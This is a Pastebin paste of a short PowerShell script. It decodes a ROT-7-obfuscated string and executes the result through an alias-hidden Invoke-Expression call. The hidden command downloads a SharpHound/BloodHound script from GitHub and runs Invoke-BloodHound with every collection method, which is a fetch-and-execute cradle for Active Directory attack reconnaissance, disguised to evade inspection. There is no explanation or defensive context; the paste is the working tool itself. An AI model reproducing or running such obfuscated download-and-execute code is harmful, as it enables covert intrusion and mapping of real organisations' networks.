m1dw0rd

Untitled

Jun 1st, 2022
48
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Begin{
  2.  
  3.     [Int32[]]$Rot=7
  4.     [string]$Text="pl!/p~y/.o{{wzA66yh~5np{o|i|zlyjvu{lu{5jvt6w|jrplz{"sl6wv~lyzolss6thz{ly6ZohywOv|uk5wz8.00BPu}vrl4IsvvkOv|uk 4Jvsslj{pvuTl{ovk Hss"
  5.    [System.Collections.ArrayList]$AsciiChars = @()
  6.  
  7.    $CharsIndex = 1
  8.    $StartAscii = 33
  9.    $EndAscii = 126
  10.    #Add chars from ascii table
  11.    ForEach($i in $StartAscii..$EndAscii)
  12.    {
  13.        $Char = [char]$i
  14.        [pscustomobject]$Result = @{
  15.            Index = $CharsIndex
  16.            Char = $Char
  17.        }
  18.        [void]$AsciiChars.Add($Result)
  19.        $CharsIndex++
  20.    }
  21. }
  22.  
  23. Process{
  24.    ForEach($Rot2 in $Rot)
  25.    {
  26.        $ResultText = [String]::Empty
  27.        #Go through each char in string
  28.        ForEach($i in 0..($Text.Length -1))
  29.        {
  30.            $CurrentChar = $Text.Substring($i, 1)
  31.            If(($AsciiChars.Char -ccontains $CurrentChar) -and ($CurrentChar -ne " ")) # Upper chars
  32.            {
  33.               [int]$NewIndex = ($AsciiChars | Where-Object {$_.Char -ceq $CurrentChar}).Index - $Rot2
  34.               If($NewIndex -lt 1)
  35.               {
  36.                  $NewIndex += $AsciiChars.Count
  37.                  $ResultText +=  ($AsciiChars | Where-Object {$_.Index -eq $NewIndex}).Char
  38.               }
  39.               Else
  40.               {
  41.                  $ResultText += ($AsciiChars | Where-Object {$_.Index -eq $NewIndex}).Char
  42.               }
  43.            }Else{$ResultText += $CurrentChar}
  44.        }
  45.  
  46.       Try{#EXECUTE
  47.          echo "$ResultText"|&(DIR Alias:/I*X)
  48.       }catch{Write-Host "x Error: execution failed .." -ForeGroundColor red}
  49.    }
  50. }
Advertisement
Add Comment
Please, Sign In to add comment